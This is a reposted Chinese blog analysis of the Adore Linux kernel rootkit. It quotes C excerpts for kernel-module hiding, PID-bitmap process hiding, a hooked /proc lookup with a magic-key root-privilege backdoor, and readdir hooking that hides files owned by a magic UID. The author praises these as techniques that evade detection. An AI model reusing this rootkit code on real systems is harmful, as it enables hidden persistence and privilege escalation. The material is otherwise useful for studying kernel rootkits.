轉自:http://blog.csdn.net/dog250/archive/2010/02/09/5303688.aspx
這個rootkit使用的技術不比前一個,它不是攔截系統調用,而是攔截具體檔案系統的回呼函數,本身檔案系統的回呼函數就是動態註冊的,很是不確定,那麼反黑軟體自然就不能簡單下結論說這個函數被黑掉了,因此這個rootkit看來比前一個略勝一籌,自然的,既然是核心模組,那麼模組隱藏也是一個重要的內容,以下是一個簡單的模組隱藏代碼,使用此代碼的前提就是將此模組緊接著希望被隱藏的模組之後載入:
...//省略標頭檔
int init_module()
{
if (__this_module.next) //這個邏輯很簡單,由於被隱藏的模組在這個模組之前載入,那麼之需要更改該模組的next指標即可
__this_module.next = __this_module.next->next;
return 0;
}
...//省略
該rootkit的第一步就是用所有的進程構建一個位元影像hidden_procs,如果哪個進程需要隱藏,那麼就將該進程的pid所在的位置置1,反之置0
inline void hide_proc(pid_t x)
{
if (x >= PID_MAX || x == 1)
return;
hidden_procs[x/8] |= 1<<(x%8);
}
inline void unhide_proc(pid_t x)
{
if (x >= PID_MAX)
return;
hidden_procs[x/8] &= ~(1<<(x%8));
}
以下這個函數實際上和本rootkit無關,僅僅是一個協助函數,但是還是列出來了,該函數的意義在於將一個字串轉化為一個數字
int adore_atoi(const char *str)
{
int ret = 0, mul = 1;
const char *ptr;
for (ptr = str; *ptr >= '0' && *ptr <= '9'; ptr++) ;
ptr--;
while (ptr >= str) {
if (*ptr < '0' || *ptr > '9')
break;
ret += (*ptr - '0') * mul;
mul *= 10;
ptr--;
}
return ret;
}
以下函數判斷一個進程是否被隱藏,其實很簡單,簡單的說如果位元影像上該進程的pid對應的位置是1,那麼就該隱藏,反之就不該被隱藏,另外還有一個策略,就是隱藏進程的子進程也應該被隱藏:
int should_be_hidden(pid_t pid)
{
struct task_struct *p = NULL;
if (is_invisible(pid)) {
return 1;
}
p = adore_find_task(pid);
if (!p)
return 0;
task_lock(p);
if (is_invisible(p->parent->pid)) {
task_unlock(p);
hide_proc(pid);
return 1;
}
task_unlock(p);
return 0;
}
查看進程的ps命令主要是遍曆/proc檔案系統的根目錄,只要是數位那麼就被視為一個進程的pid,該rootkit隱藏進程的策略很簡單,就是:
sprintf(buf, APREFIX"/hide-%d", pid);
close(open(buf, O_RDWR|O_CREAT, 0));
由於open系統調用最終肯定會調用lookup回呼函數,那麼就在該lookup中做文章,如果想隱藏pid為n的進程,我們先在/proc建立一個新的檔案hide-n檔案,由於我們已經黑掉了具體proc檔案系統的lookup回呼函數為adore_lookup,所以我們可以將隱藏進程的操作放到該lookup中,在該lookup中如果發現有檔案的首碼為hide-,那麼我們就調用hide_proc函數,具體的pid就是該建立檔案的第五個字元之後的字串轉化為數字。注意,這個adore_lookup函數一舉兩得,在建立帶有hide-首碼檔案的時候會隱藏檔案,在ps命令查看進程的時候如果是已經隱藏的檔案會返回NULL,這裡有人可能會問,在/proc目錄是沒有許可權建立新檔案的,是的,是沒有許可權,關鍵是我們建立檔案的目的不是建立一個新檔案,而是僅僅希望使執行流到達lookup,從而調用hide_proc的目的,僅此而已:
struct dentry *adore_lookup(struct inode *i, struct dentry *d)
{
task_lock(current);
if (strncmp(ADORE_KEY, d->d_iname, strlen(ADORE_KEY)) == 0) {
current->flags |= PF_AUTH;
current->suid = ADORE_VERSION;
} else if ((current->flags & PF_AUTH) && strncmp(d->d_iname, "fullprivs", 9) == 0) {
...//所有id設定為0,代表root
cap_set_full(current->cap_effective);
cap_set_full(current->cap_inheritable);
cap_set_full(current->cap_permitted);
} else if ((current->flags & PF_AUTH) && strncmp(d->d_iname, "hide-", 5) == 0) { //想隱藏進程,只需在proc目錄建立一個hide-(pid)即可
hide_proc(adore_atoi(d->d_iname+5));
} else if ((current->flags & PF_AUTH) && strncmp(d->d_iname, "unhide-", 7) == 0) {
unhide_proc(adore_atoi(d->d_iname+7));
} else if ((current->flags & PF_AUTH) && strncmp(d->d_iname, "uninstall", 9) == 0) {
cleanup_module();
}
task_unlock(current);
if (should_be_hidden(adore_atoi(d->d_iname)) && !should_be_hidden(current->pid))
return NULL;
return orig_proc_lookup(i, d);
}
到此為止,進程已經隱藏了,那麼連接埠怎麼隱藏呢?很簡單,同樣的辦法,攔截/proc檔案系統就是了,最後檔案怎麼隱藏呢?如果想達到ls顯示不出隱藏檔案的目錄,簡單的辦法就是黑掉檔案系統的readdir回呼函數:
int adore_root_readdir(struct file *fp, void *buf, filldir_t filldir)
{
int r = 0;
if (!fp || !fp->f_vfsmnt)
return 0;
root_filldir = filldir; //儲存原先的filldir
root_sb[current->pid % 1024] = fp->f_vfsmnt->mnt_sb;
r = orig_root_readdir(fp, buf, adore_root_filldir);
return r;
}
int adore_root_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x)
{
struct inode *inode = NULL;
int r = 0;
uid_t uid;
gid_t gid;
if ((inode = iget(root_sb[current->pid % 1024], ino)) == NULL)
return 0;
uid = inode->i_uid;
gid = inode->i_gid;
iput(inode);
if (uid == ELITE_UID && gid == ELITE_GID) { //如果檔案的uid和gid被設定成實現約定好的id,那麼就說明該檔案要隱藏了,想隱藏檔案,只需要調用lchown將檔案的uid和gid改變即可
r = 0; //碰到隱藏檔案直接返回不再繼續尋找
} else
r = root_filldir(buf, name, nlen, off, ino, x); //如果不需要隱藏,那麼調用原先的filldir
return r;
}
注意,本rootkit並沒有攔截掉getdents64和getdents系統調用本身,而是直接攔截getdentsXX調用的file_operations中的readdir回呼函數,這種方式很靈活而又不容易被發現,畢竟反黑程式可以監視系統調用的地址卻不能簡單的監視回呼函數的地址,因為重要我註冊一個新的檔案系統,那麼就會有一個新的地址,如果反黑程式那麼負責總有一天會累死的,隨著檔案系統的增多,反黑程式會帶跨整個系統的。
到此為止,該rootkit的大致架構已經搭建完畢,和上一個rootkit想必,該rootkit更隱蔽,沒有使用很容易出錯的並且和機器相關的彙編代碼,僅僅使用標準c語言的指標操作即可,很直觀,徹底告別了彙編,之需要你對核心檔案系統的流程有一個簡單的瞭解就可以完成,很不錯。